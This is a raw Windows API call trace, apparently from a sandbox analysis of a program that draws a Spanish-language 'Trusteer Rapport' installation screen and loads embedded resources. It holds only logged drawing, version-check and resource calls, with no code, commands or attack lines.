	[0118.646] SetROP2 (hdc=0xa0100d0, rop2=13) returned 13
	[0118.646] UnrealizeObject (h=0x1b100652) returned 1
	[0118.646] SelectObject (hdc=0xa0100d0, h=0x1b100652) returned 0x1900010
	[0118.646] SetBkColor (hdc=0xa0100d0, color=0xffffff) returned 0xffffff
	[0118.646] SetBkMode (hdc=0xa0100d0, mode=2) returned 2
	[0118.646] DrawTextExA (in: hdc=0xa0100d0, lpchText=" ", cchText=1, lprc=0x19f56d, format=0x440, lpdtp=0x0 | out: lpchText=" ", lprc=0x19f56d) returned 13
	[0118.646] GetVersionExA (in: lpVersionInformation=0x19f828*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x72377e8, szCSDVersion="Ðw#\x07\x18") | out: lpVersionInformation=0x19f828*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1
	[0118.646] GetFileVersionInfoSizeA (in: lptstrFilename="COMCTL32.DLL", lpdwHandle=0x19f7f0 | out: lpdwHandle=0x19f7f0) returned 0x734
	[0118.646] GetFileVersionInfoA (in: lptstrFilename="COMCTL32.DLL", dwHandle=0x0, dwLen=0x734, lpData=0x723c000 | out: lpData=0x723c000) returned 1
	[0118.646] VerQueryValueA (in: pBlock=0x723c000, lpSubBlock="\\", lplpBuffer=0x19f7e8, puLen=0x19f7e4 | out: lplpBuffer=0x19f7e8*=0x723c028, puLen=0x19f7e4) returned 1
	[0118.647] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="•", cchWideChar=1, lpMultiByteStr=0x19e7a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x95÷\x19", lpUsedDefaultChar=0x0) returned 1
	[0118.647] GetVersionExA (in: lpVersionInformation=0x19f828*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x402515, dwMinorVersion=0x50c5cc, dwBuildNumber=0x40251d, dwPlatformId=0x4e6732, szCSDVersion="\x07") | out: lpVersionInformation=0x19f828*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1
	[0118.647] GetFileVersionInfoSizeA (in: lptstrFilename="COMCTL32.DLL", lpdwHandle=0x19f7f0 | out: lpdwHandle=0x19f7f0) returned 0x734
	[0118.647] GetFileVersionInfoA (in: lptstrFilename="COMCTL32.DLL", dwHandle=0x0, dwLen=0x734, lpData=0x723cbcc | out: lpData=0x723cbcc) returned 1
	[0118.647] VerQueryValueA (in: pBlock=0x723cbcc, lpSubBlock="\\", lplpBuffer=0x19f7e8, puLen=0x19f7e4 | out: lplpBuffer=0x19f7e8*=0x723cbf4, puLen=0x19f7e4) returned 1
	[0118.647] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="•", cchWideChar=1, lpMultiByteStr=0x19e7a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x95÷\x19", lpUsedDefaultChar=0x0) returned 1
	[0118.647] GetVersionExA (in: lpVersionInformation=0x19f828*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x402515, dwMinorVersion=0x50c5cc, dwBuildNumber=0x40251d, dwPlatformId=0x4e6732, szCSDVersion="\x07") | out: lpVersionInformation=0x19f828*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1
	[0118.647] GetFileVersionInfoSizeA (in: lptstrFilename="COMCTL32.DLL", lpdwHandle=0x19f7f0 | out: lpdwHandle=0x19f7f0) returned 0x734
	[0118.647] GetFileVersionInfoA (in: lptstrFilename="COMCTL32.DLL", dwHandle=0x0, dwLen=0x734, lpData=0x723df10 | out: lpData=0x723df10) returned 1
	[0118.647] VerQueryValueA (in: pBlock=0x723df10, lpSubBlock="\\", lplpBuffer=0x19f7e8, puLen=0x19f7e4 | out: lplpBuffer=0x19f7e8*=0x723df38, puLen=0x19f7e4) returned 1
	[0118.648] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="•", cchWideChar=1, lpMultiByteStr=0x19e7a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x95÷\x19", lpUsedDefaultChar=0x0) returned 1
	[0118.650] GetTextExtentPoint32A (in: hdc=0xa0100d0, lpString="0", c=1, psizl=0x19fa74 | out: psizl=0x19fa74) returned 1
	[0118.650] FlatSB_SetScrollProp (param_1=0x2021c, index=0x100, newValue=0x0, param_4=0) returned 0
	[0118.650] FlatSB_SetScrollProp (param_1=0x2021c, index=0x40, newValue=0xffffff, param_4=0) returned 0
	[0118.650] FlatSB_SetScrollInfo (param_1=0x2021c, code=1, psi=0x19f046, fRedraw=1) returned 0
	[0118.650] FlatSB_SetScrollProp (param_1=0x2021c, index=0x200, newValue=0x0, param_4=0) returned 0
	[0118.650] FlatSB_SetScrollProp (param_1=0x2021c, index=0x80, newValue=0xffffff, param_4=0) returned 0
	[0118.650] FlatSB_SetScrollInfo (param_1=0x2021c, code=0, psi=0x19f046, fRedraw=1) returned 0
	[0118.651] FlatSB_SetScrollProp (param_1=0x2021c, index=0x100, newValue=0x0, param_4=0) returned 0
	[0118.651] FlatSB_SetScrollProp (param_1=0x2021c, index=0x40, newValue=0xffffff, param_4=0) returned 0
	[0118.651] FlatSB_SetScrollInfo (param_1=0x2021c, code=1, psi=0x19f046, fRedraw=1) returned 0
	[0118.651] FlatSB_SetScrollProp (param_1=0x2021c, index=0x200, newValue=0x0, param_4=0) returned 0
	[0118.651] FlatSB_SetScrollProp (param_1=0x2021c, index=0x80, newValue=0xffffff, param_4=0) returned 0
	[0118.651] FlatSB_SetScrollInfo (param_1=0x2021c, code=0, psi=0x19f046, fRedraw=1) returned 0
	[0118.651] FreeResource (hResData=0x1667830) returned 0
	[0118.654] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="Tahoma", cchCount1=6, lpString2="Default", cchCount2=7) returned 3
	[0118.663] FindResourceExA (hModule=0x400000, lpType=0xa, lpName="TfCorp", wLanguage=0x0) returned 0x529d10
	[0118.663] FindResourceExA (hModule=0x400000, lpType=0xa, lpName="TfCorp", wLanguage=0x0) returned 0x529d10
	[0118.663] LoadResource (hModule=0x400000, hResInfo=0x529d10) returned 0xcd722c
	[0118.663] SizeofResource (hModule=0x400000, hResInfo=0x529d10) returned 0x1a297c
	[0118.663] LockResource (hResData=0xcd722c) returned 0xcd722c
	[0118.677] RtlLockHeap (Heap=0x230000) returned 1
	[0118.677] RtlIsValidHandle (HandleTable=0x76ac1600, Handle=0x73d0060) returned 1
	[0118.677] RtlRestoreLastWin32Error () returned 0x0
	[0119.009] RtlLockHeap (Heap=0x230000) returned 1
	[0119.009] RtlIsValidHandle (HandleTable=0x76ac1600, Handle=0x73d0060) returned 1
	[0119.009] RtlRestoreLastWin32Error () returned 0x0
	[0119.009] SetROP2 (hdc=0xa010691, rop2=13) returned 13
	[0119.009] UnrealizeObject (h=0x1b100652) returned 1
	[0119.009] SelectObject (hdc=0xa010691, h=0x1b100652) returned 0x1900010
	[0119.010] SetBkColor (hdc=0xa010691, color=0xffffff) returned 0xffffff
	[0119.010] SetBkMode (hdc=0xa010691, mode=2) returned 2
	[0119.010] DrawTextExA (in: hdc=0xa010691, lpchText=" ", cchText=1, lprc=0x19f56d, format=0x440, lpdtp=0x0 | out: lpchText=" ", lprc=0x19f56d) returned 13
	[0119.010] SysReAllocStringLen (in: pbstr=0x19f808*=0x0, psz="Instalación de software Trusteer Rapport", len=0x28 | out: pbstr=0x19f808*="Instalación de software Trusteer Rapport") returned 1
	[0119.010] SetROP2 (hdc=0xa010691, rop2=13) returned 13
	[0119.010] UnrealizeObject (h=0x1b100652) returned 1
	[0119.010] SelectObject (hdc=0xa010691, h=0x1b100652) returned 0x1900010
	[0119.010] SetBkColor (hdc=0xa010691, color=0xffffff) returned 0xffffff
	[0119.010] SetBkMode (hdc=0xa010691, mode=2) returned 2
	[0119.010] DrawTextExA (in: hdc=0xa010691, lpchText=" ", cchText=1, lprc=0x19f56d, format=0x440, lpdtp=0x0 | out: lpchText=" ", lprc=0x19f56d) returned 13
	[0119.010] SysReAllocStringLen (in: pbstr=0x19f808*=0x0, psz="Manténgase en sintonía, es posible que deba proporcionar información durante el proceso.", len=0x58 | out: pbstr=0x19f808*="Manténgase en sintonía, es posible que deba proporcionar información durante el proceso.") returned 1
	[0119.011] SetROP2 (hdc=0xa010691, rop2=13) returned 13
	[0119.011] UnrealizeObject (h=0x1b100652) returned 1
	[0119.011] SelectObject (hdc=0xa010691, h=0x1b100652) returned 0x1900010
	[0119.011] SetBkColor (hdc=0xa010691, color=0xffffff) returned 0xffffff
	[0119.011] SetBkMode (hdc=0xa010691, mode=2) returned 2
	[0119.011] DrawTextExA (in: hdc=0xa010691, lpchText=" ", cchText=1, lprc=0x19f56d, format=0x440, lpdtp=0x0 | out: lpchText=" ", lprc=0x19f56d) returned 13
	[0119.011] SysReAllocStringLen (in: pbstr=0x19f808*=0x0, psz="Por favor espere hasta que el proceso de instalación termine.", len=0x3d | out: pbstr=0x19f808*="Por favor espere hasta que el proceso de instalación termine.") returned 1
	[0119.012] CreatePenIndirect (plpen=0x19f580) returned 0x1300786
	[0119.012] SetROP2 (hdc=0x4010784, rop2=13) returned 13
	[0119.012] CreateBrushIndirect (plbrush=0x19f584) returned 0x1910075f
	[0119.012] CreatePenIndirect (plpen=0x19f578) returned 0x1300787
	[0119.012] SetROP2 (hdc=0x4010784, rop2=13) returned 13
	[0119.012] UnrealizeObject (h=0x1b100652) returned 1
	[0119.012] SelectObject (hdc=0x4010784, h=0x1b100652) returned 0x1900015
	[0119.012] SetBkColor (hdc=0x4010784, color=0xffffff) returned 0xff00ff
	[0119.012] SetBkMode (hdc=0x4010784, mode=2) returned 2
	[0119.012] RoundRect (hdc=0x4010784, left=0, top=0, right=521, bottom=25, width=6, height=6) returned 1
	[0119.012] GetTextExtentPoint32A (in: hdc=0x4010784, lpString="0%", c=2, psizl=0x19f5b8 | out: psizl=0x19f5b8) returned 1
	[0119.012] GetTextExtentPoint32A (in: hdc=0x4010784, lpString="0%", c=2, psizl=0x19f5b4 | out: psizl=0x19f5b4) returned 1
	[0119.012] UnrealizeObject (h=0x1900015) returned 1
	[0119.012] SelectObject (hdc=0x4010784, h=0x1900015) returned 0x1900015
	[0119.012] SetBkColor (hdc=0x4010784, color=0xff000000) returned 0xffffff
	[0119.012] SetBkMode (hdc=0x4010784, mode=1) returned 2
	[0119.012] ExtTextOutA (hdc=0x4010784, x=250, y=4, options=0x0, lprect=0x0, lpString="0%", c=0x2, lpDx=0x0) returned 1
	[0119.012] GetTextExtentPoint32A (in: hdc=0x4010784, lpString="0%", c=2, psizl=0x19f5a0 | out: psizl=0x19f5a0) returned 1
	[0119.012] MoveToEx (in: hdc=0x4010784, x=271, y=4, lppt=0x0 | out: lppt=0x0) returned 1
	[0119.013] FlatSB_SetScrollProp (param_1=0x30234, index=0x100, newValue=0x0, param_4=1) returned 0
	[0119.013] FlatSB_SetScrollProp (param_1=0x30234, index=0x40, newValue=0xffffff, param_4=0) returned 0
	[0119.013] FlatSB_SetScrollInfo (param_1=0x30234, code=1, psi=0x19e26e, fRedraw=1) returned 0
	[0119.013] FlatSB_SetScrollProp (param_1=0x30234, index=0x200, newValue=0x0, param_4=1) returned 0
	[0119.013] FlatSB_SetScrollProp (param_1=0x30234, index=0x80, newValue=0xffffff, param_4=0) returned 0
	[0119.013] FlatSB_SetScrollInfo (param_1=0x30234, code=0, psi=0x19e26e, fRedraw=1) returned 0
	[0119.014] FlatSB_SetScrollProp (param_1=0x30234, index=0x100, newValue=0x0, param_4=0) returned 0
	[0119.014] FlatSB_SetScrollProp (param_1=0x30234, index=0x40, newValue=0xffffff, param_4=0) returned 0
	[0119.014] FlatSB_SetScrollInfo (param_1=0x30234, code=1, psi=0x19ec7a, fRedraw=1) returned 0
	[0119.014] FlatSB_SetScrollProp (param_1=0x30234, index=0x200, newValue=0x0, param_4=0) returned 0
	[0119.014] FlatSB_SetScrollProp (param_1=0x30234, index=0x80, newValue=0xffffff, param_4=0) returned 0
	[0119.014] FlatSB_SetScrollInfo (param_1=0x30234, code=0, psi=0x19ec7a, fRedraw=1) returned 0
	[0119.014] FlatSB_SetScrollProp (param_1=0x30234, index=0x100, newValue=0x0, param_4=0) returned 0
	[0119.014] FlatSB_SetScrollProp (param_1=0x30234, index=0x40, newValue=0xffffff, param_4=0) returned 0
	[0119.014] FlatSB_SetScrollInfo (param_1=0x30234, code=1, psi=0x19f62a, fRedraw=1) returned 0
	[0119.014] FlatSB_SetScrollProp (param_1=0x30234, index=0x200, newValue=0x0, param_4=0) returned 0
	[0119.014] FlatSB_SetScrollProp (param_1=0x30234, index=0x80, newValue=0xffffff, param_4=0) returned 0
	[0119.014] FlatSB_SetScrollInfo (param_1=0x30234, code=0, psi=0x19f62a, fRedraw=1) returned 0
	[0119.016] SetViewportOrgEx (in: hdc=0xa0100d0, x=16, y=128, lppt=0x0 | out: lppt=0x0) returned 1
	[0119.016] IntersectClipRect (hdc=0xa0100d0, left=0, top=0, right=521, bottom=25) returned 3
	[0119.016] SetROP2 (hdc=0xa0100d0, rop2=13) returned 13
	[0119.016] UnrealizeObject (h=0x1b100652) returned 1
	[0119.016] SelectObject (hdc=0xa0100d0, h=0x1b100652) returned 0x1900010
	[0119.016] SetBkColor (hdc=0xa0100d0, color=0xffffff) returned 0xffffff
	[0119.016] SetBkMode (hdc=0xa0100d0, mode=2) returned 2
	[0119.016] GetDeviceCaps (hdc=0xa0100d0, index=12) returned 32
	[0119.016] GetDeviceCaps (hdc=0xa0100d0, index=14) returned 1
	[0119.016] SetStretchBltMode (hdc=0xa0100d0, mode=3) returned 1
	[0119.016] SetROP2 (hdc=0x6010786, rop2=13) returned 13
	[0119.016] UnrealizeObject (h=0x1900015) returned 1
	[0119.016] SelectObject (hdc=0x6010786, h=0x1900015) returned 0x1900010
	[0119.016] SetBkColor (hdc=0x6010786, color=0xff000000) returned 0xffffff
	[0119.016] SetBkMode (hdc=0x6010786, mode=1) returned 2
	[0119.016] CreateCompatibleDC (hdc=0x0) returned 0x7010784
	[0119.016] SelectObject (hdc=0x7010784, h=0x3050788) returned 0x185000f
	[0119.016] CreateCompatibleBitmap (hdc=0x6010786, cx=1, cy=1) returned 0x405078c
	[0119.016] SelectObject (hdc=0x7010784, h=0x405078c) returned 0x3050788
	[0119.016] MaskBlt (hdcDest=0xa0100d0, xDest=0, yDest=0, width=521, height=25, hdcSrc=0x6010786, xSrc=0, ySrc=0, hbmMask=0x3050788, xMask=0, yMask=0, rop=0xccaa0029) returned 1
	[0119.016] SelectObject (hdc=0x7010784, h=0x3050788) returned 0x405078c
	[0119.016] DeleteObject (ho=0x405078c) returned 1
	[0119.016] SelectObject (hdc=0x7010784, h=0x185000f) returned 0x3050788
	[0119.016] DeleteDC (hdc=0x7010784) returned 1
	[0119.017] SetROP2 (hdc=0xa010691, rop2=13) returned 13
	[0119.017] UnrealizeObject (h=0x1b100652) returned 1
	[0119.017] SelectObject (hdc=0xa010691, h=0x1b100652) returned 0x1900010
	[0119.017] SetBkColor (hdc=0xa010691, color=0xffffff) returned 0xffffff
	[0119.017] SetBkMode (hdc=0xa010691, mode=2) returned 2
	[0119.017] DrawTextExA (in: hdc=0xa010691, lpchText=" ", cchText=1, lprc=0x19f56d, format=0x440, lpdtp=0x0 | out: lpchText=" ", lprc=0x19f56d) returned 13
	[0119.017] RtlLockHeap (Heap=0x230000) returned 1
	[0119.017] RtlIsValidHandle (HandleTable=0x76ac1600, Handle=0x73d0060) returned 1
	[0119.017] RtlRestoreLastWin32Error () returned 0x0
	[0119.022] RtlLockHeap (Heap=0x230000) returned 1
	[0119.022] RtlIsValidHandle (HandleTable=0x76ac1600, Handle=0x73d0060) returned 1
	[0119.022] RtlRestoreLastWin32Error () returned 0x0
	[0119.022] SetROP2 (hdc=0xa010691, rop2=13) returned 13
	[0119.022] UnrealizeObject (h=0x1b100652) returned 1
	[0119.022] SelectObject (hdc=0xa010691, h=0x1b100652) returned 0x1900010
	[0119.022] SetBkColor (hdc=0xa010691, color=0xffffff) returned 0xffffff
	[0119.022] SetBkMode (hdc=0xa010691, mode=2) returned 2
	[0119.022] DrawTextExA (in: hdc=0xa010691, lpchText=" ", cchText=1, lprc=0x19f56d, format=0x440, lpdtp=0x0 | out: lpchText=" ", lprc=0x19f56d) returned 13
	[0119.022] SetROP2 (hdc=0xa010691, rop2=13) returned 13
	[0119.022] UnrealizeObject (h=0x1b100652) returned 1
	[0119.022] SelectObject (hdc=0xa010691, h=0x1b100652) returned 0x1900010
	[0119.022] SetBkColor (hdc=0xa010691, color=0xffffff) returned 0xffffff
	[0119.022] SetBkMode (hdc=0xa010691, mode=2) returned 2
	[0119.022] DrawTextExA (in: hdc=0xa010691, lpchText=" ", cchText=1, lprc=0x19f56d, format=0x440, lpdtp=0x0 | out: lpchText=" ", lprc=0x19f56d) returned 13
	[0119.023] SetROP2 (hdc=0xa010691, rop2=13) returned 13
	[0119.023] UnrealizeObject (h=0x1b100652) returned 1
	[0119.023] SelectObject (hdc=0xa010691, h=0x1b100652) returned 0x1900010
	[0119.023] SetBkColor (hdc=0xa010691, color=0xffffff) returned 0xffffff
	[0119.023] SetBkMode (hdc=0xa010691, mode=2) returned 2
	[0119.023] DrawTextExA (in: hdc=0xa010691, lpchText=" ", cchText=1, lprc=0x19f56d, format=0x440, lpdtp=0x0 | out: lpchText=" ", lprc=0x19f56d) returned 13
	[0119.023] GetVersionExA (in: lpVersionInformation=0x19f828*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x7241aa0, szCSDVersion="\x88\x1a$\x07\x18") | out: lpVersionInformation=0x19f828*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1
	[0119.023] GetFileVersionInfoSizeA (in: lptstrFilename="COMCTL32.DLL", lpdwHandle=0x19f7f0 | out: lpdwHandle=0x19f7f0) returned 0x734
	[0119.023] GetFileVersionInfoA (in: lptstrFilename="COMCTL32.DLL", dwHandle=0x0, dwLen=0x734, lpData=0x7246a38 | out: lpData=0x7246a38) returned 1
	[0119.023] VerQueryValueA (in: pBlock=0x7246a38, lpSubBlock="\\", lplpBuffer=0x19f7e8, puLen=0x19f7e4 | out: lplpBuffer=0x19f7e8*=0x7246a60, puLen=0x19f7e4) returned 1
	[0119.023] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="•", cchWideChar=1, lpMultiByteStr=0x19e7a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x95÷\x19", lpUsedDefaultChar=0x0) returned 1
	[0119.023] GetVersionExA (in: lpVersionInformation=0x19f828*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x402515, dwMinorVersion=0x50c5cc, dwBuildNumber=0x40251d, dwPlatformId=0x4e6732, szCSDVersion="\x07") | out: lpVersionInformation=0x19f828*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1
	[0119.023] GetFileVersionInfoSizeA (in: lptstrFilename="COMCTL32.DLL", lpdwHandle=0x19f7f0 | out: lpdwHandle=0x19f7f0) returned 0x734
	[0119.024] GetFileVersionInfoA (in: lptstrFilename="COMCTL32.DLL", dwHandle=0x0, dwLen=0x734, lpData=0x7248000 | out: lpData=0x7248000) returned 1
	[0119.024] VerQueryValueA (in: pBlock=0x7248000, lpSubBlock="\\", lplpBuffer=0x19f7e8, puLen=0x19f7e4 | out: lplpBuffer=0x19f7e8*=0x7248028, puLen=0x19f7e4) returned 1
	[0119.024] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="•", cchWideChar=1, lpMultiByteStr=0x19e7a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x95÷\x19", lpUsedDefaultChar=0x0) returned 1
	[0119.024] GetVersionExA (in: lpVersionInformation=0x19f828*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x402515, dwMinorVersion=0x50c5cc, dwBuildNumber=0x40251d, dwPlatformId=0x4e6732, szCSDVersion="\x07") | out: lpVersionInformation=0x19f828*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1
	[0119.024] GetFileVersionInfoSizeA (in: lptstrFilename="COMCTL32.DLL", lpdwHandle=0x19f7f0 | out: lpdwHandle=0x19f7f0) returned 0x734
	[0119.024] GetFileVersionInfoA (in: lptstrFilename="COMCTL32.DLL", dwHandle=0x0, dwLen=0x734, lpData=0x7248000 | out: lpData=0x7248000) returned 1
	[0119.025] VerQueryValueA (in: pBlock=0x7248000, lpSubBlock="\\", lplpBuffer=0x19f7e8, puLen=0x19f7e4 | out: lplpBuffer=0x19f7e8*=0x7248028, puLen=0x19f7e4) returned 1
	[0119.025] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="•", cchWideChar=1, lpMultiByteStr=0x19e7a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x95÷\x19", lpUsedDefaultChar=0x0) returned 1
	[0119.026] GetTextExtentPoint32A (in: hdc=0xa010691, lpString="0", c=1, psizl=0x19fa74 | out: psizl=0x19fa74) returned 1
	[0119.026] FlatSB_SetScrollProp (param_1=0x30234, index=0x100, newValue=0x0, param_4=0) returned 0
	[0119.026] FlatSB_SetScrollProp (param_1=0x30234, index=0x40, newValue=0xffffff, param_4=0) returned 0
	[0119.026] FlatSB_SetScrollInfo (param_1=0x30234, code=1, psi=0x19f046, fRedraw=1) returned 0
	[0119.026] FlatSB_SetScrollProp (param_1=0x30234, index=0x200, newValue=0x0, param_4=0) returned 0
	[0119.026] FlatSB_SetScrollProp (param_1=0x30234, index=0x80, newValue=0xffffff, param_4=0) returned 0
	[0119.026] FlatSB_SetScrollInfo (param_1=0x30234, code=0, psi=0x19f046, fRedraw=1) returned 0
	[0119.027] FlatSB_SetScrollProp (param_1=0x30234, index=0x100, newValue=0x0, param_4=0) returned 0
	[0119.027] FlatSB_SetScrollProp (param_1=0x30234, index=0x40, newValue=0xffffff, param_4=0) returned 0
	[0119.027] FlatSB_SetScrollInfo (param_1=0x30234, code=1, psi=0x19f046, fRedraw=1) returned 0
	[0119.027] FlatSB_SetScrollProp (param_1=0x30234, index=0x200, newValue=0x0, param_4=0) returned 0
	[0119.027] FlatSB_SetScrollProp (param_1=0x30234, index=0x80, newValue=0xffffff, param_4=0) returned 0
	[0119.027] FlatSB_SetScrollInfo (param_1=0x30234, code=0, psi=0x19f046, fRedraw=1) returned 0
	[0119.027] FreeResource (hResData=0xcd722c) returned 0
	[0119.027] SetROP2 (hdc=0xa010691, rop2=13) returned 13
	[0119.027] UnrealizeObject (h=0x1b100652) returned 1
	[0119.027] SelectObject (hdc=0xa010691, h=0x1b100652) returned 0x1900010
	[0119.027] SetBkColor (hdc=0xa010691, color=0xffffff) returned 0xffffff
	[0119.027] SetBkMode (hdc=0xa010691, mode=2) returned 2
	[0119.027] DrawTextExA (in: hdc=0xa010691, lpchText="Instalación de software Trusteer Rapport", cchText=40, lprc=0x19fc59, format=0x440, lpdtp=0x0 | out: lpchText="Instalación de software Trusteer Rapport", lprc=0x19fc59) returned 24
	[0119.027] CompareStringA (Locale=0x400, dwCmpFlags=0x1, lpString1="Arial", cchCount1=5, lpString2="Default", cchCount2=7) returned 1
	[0119.027] SetROP2 (hdc=0xa010691, rop2=13) returned 13
	[0119.027] UnrealizeObject (h=0x1b100652) returned 1
	[0119.027] SelectObject (hdc=0xa010691, h=0x1b100652) returned 0x1900010
	[0119.027] SetBkColor (hdc=0xa010691, color=0xffffff) returned 0xffffff
	[0119.027] SetBkMode (hdc=0xa010691, mode=2) returned 2
	[0119.027] DrawTextExA (in: hdc=0xa010691, lpchText="Manténgase en sintonía, es posible que deba proporcionar información durante el proceso.", cchText=88, lprc=0x19fc59, format=0x450, lpdtp=0x0 | out: lpchText="Manténgase en sintonía, es posible que deba proporcionar información durante el proceso.", lprc=0x19fc59) returned 15
	[0119.037] SetROP2 (hdc=0xa010691, rop2=13) returned 13
	[0119.037] UnrealizeObject (h=0x1b100652) returned 1
	[0119.037] SelectObject (hdc=0xa010691, h=0x1b100652) returned 0x1900010
	[0119.037] SetBkColor (hdc=0xa010691, color=0xffffff) returned 0xffffff
	[0119.037] SetBkMode (hdc=0xa010691, mode=2) returned 2
	[0119.037] DrawTextExA (in: hdc=0xa010691, lpchText="Instalando...", cchText=13, lprc=0x19fc59, format=0x440, lpdtp=0x0 | out: lpchText="Instalando...", lprc=0x19fc59) returned 14
	[0119.044] FindResourceExA (hModule=0x400000, lpType=0xa, lpName="TfEst", wLanguage=0x0) returned 0x529d20
	[0119.044] FindResourceExA (hModule=0x400000, lpType=0xa, lpName="TfEst", wLanguage=0x0) returned 0x529d20
	[0119.044] LoadResource (hModule=0x400000, hResInfo=0x529d20) returned 0xe79ba8
	[0119.044] SizeofResource (hModule=0x400000, hResInfo=0x529d20) returned 0x231b26
	[0119.044] LockResource (hResData=0xe79ba8) returned 0xe79ba8
	[0119.045] SetROP2 (hdc=0xa010691, rop2=13) returned 13
	[0119.045] UnrealizeObject (h=0x1b100652) returned 1
	[0119.045] SelectObject (hdc=0xa010691, h=0x1b100652) returned 0x1900010
	[0119.045] SetBkColor (hdc=0xa010691, color=0xffffff) returned 0xffffff
	[0119.045] SetBkMode (hdc=0xa010691, mode=2) returned 2
	[0119.045] DrawTextExA (in: hdc=0xa010691, lpchText=" ", cchText=1, lprc=0x19f56d, format=0x440, lpdtp=0x0 | out: lpchText=" ", lprc=0x19f56d) returned 13
	[0119.045] SysReAllocStringLen (in: pbstr=0x19f808*=0x0, psz="Instalación de software Trusteer Rapport", len=0x28 | out: pbstr=0x19f808*="Instalación de software Trusteer Rapport") returned 1
	[0119.045] SetROP2 (hdc=0xa010691, rop2=13) returned 13
	[0119.045] UnrealizeObject (h=0x1b100652) returned 1
	[0119.045] SelectObject (hdc=0xa010691, h=0x1b100652) returned 0x1900010
	[0119.045] SetBkColor (hdc=0xa010691, color=0xffffff) returned 0xffffff
	[0119.045] SetBkMode (hdc=0xa010691, mode=2) returned 2
	[0119.045] DrawTextExA (in: hdc=0xa010691, lpchText=" ", cchText=1, lprc=0x19f56d, format=0x440, lpdtp=0x0 | out: lpchText=" ", lprc=0x19f56d) returned 13
	[0119.045] SysReAllocStringLen (in: pbstr=0x19f808*=0x0, psz="Manténgase en sintonía, es posible que deba proporcionar información durante el proceso.", len=0x58 | out: pbstr=0x19f808*="Manténgase en sintonía, es posible que deba proporcionar información durante el proceso.") returned 1
	[0119.046] SetROP2 (hdc=0xa010691, rop2=13) returned 13
	[0119.046] UnrealizeObject (h=0x1b100652) returned 1
	[0119.046] SelectObject (hdc=0xa010691, h=0x1b100652) returned 0x1900010
	[0119.046] SetBkColor (hdc=0xa010691, color=0xffffff) returned 0xffffff
	[0119.046] SetBkMode (hdc=0xa010691, mode=2) returned 2
	[0119.046] DrawTextExA (in: hdc=0xa010691, lpchText=" ", cchText=1, lprc=0x19f56d, format=0x440, lpdtp=0x0 | out: lpchText=" ", lprc=0x19f56d) returned 13
	[0119.046] SysReAllocStringLen (in: pbstr=0x19f808*=0x0, psz="Por favor espere hasta que el proceso de instalación termine.", len=0x3d | out: pbstr=0x19f808*="Por favor espere hasta que el proceso de instalación termine.") returned 1
	[0119.046] RtlLockHeap (Heap=0x230000) returned 1
	[0119.046] RtlIsValidHandle (HandleTable=0x76ac1600, Handle=0x73d0068) returned 1
	[0119.046] RtlRestoreLastWin32Error () returned 0x0
	[0119.046] SetROP2 (hdc=0xa010691, rop2=13) returned 13
	[0119.046] UnrealizeObject (h=0x1b100652) returned 1
	[0119.046] SelectObject (hdc=0xa010691, h=0x1b100652) returned 0x1900010
	[0119.047] SetBkColor (hdc=0xa010691, color=0xffffff) returned 0xffffff
	[0119.047] SetBkMode (hdc=0xa010691, mode=2) returned 2
	[0119.047] DrawTextExA (in: hdc=0xa010691, lpchText=" ", cchText=1, lprc=0x19f56d, format=0x440, lpdtp=0x0 | out: lpchText=" ", lprc=0x19f56d) returned 13
	[0119.059] RtlLockHeap (Heap=0x230000) returned 1
	[0119.059] RtlIsValidHandle (HandleTable=0x76ac1600, Handle=0x73d0068) returned 1
	[0119.059] RtlRestoreLastWin32Error () returned 0x0
	[0119.065] RtlLockHeap (Heap=0x230000) returned 1
	[0119.065] RtlIsValidHandle (HandleTable=0x76ac1600, Handle=0x73d0068) returned 1
	[0119.065] RtlRestoreLastWin32Error () returned 0x0
	[0119.065] SetROP2 (hdc=0xa010691, rop2=13) returned 13
	[0119.065] UnrealizeObject (h=0x1b100652) returned 1
	[0119.066] SelectObject (hdc=0xa010691, h=0x1b100652) returned 0x1900010
	[0119.066] SetBkColor (hdc=0xa010691, color=0xffffff) returned 0xffffff
	[0119.066] SetBkMode (hdc=0xa010691, mode=2) returned 2
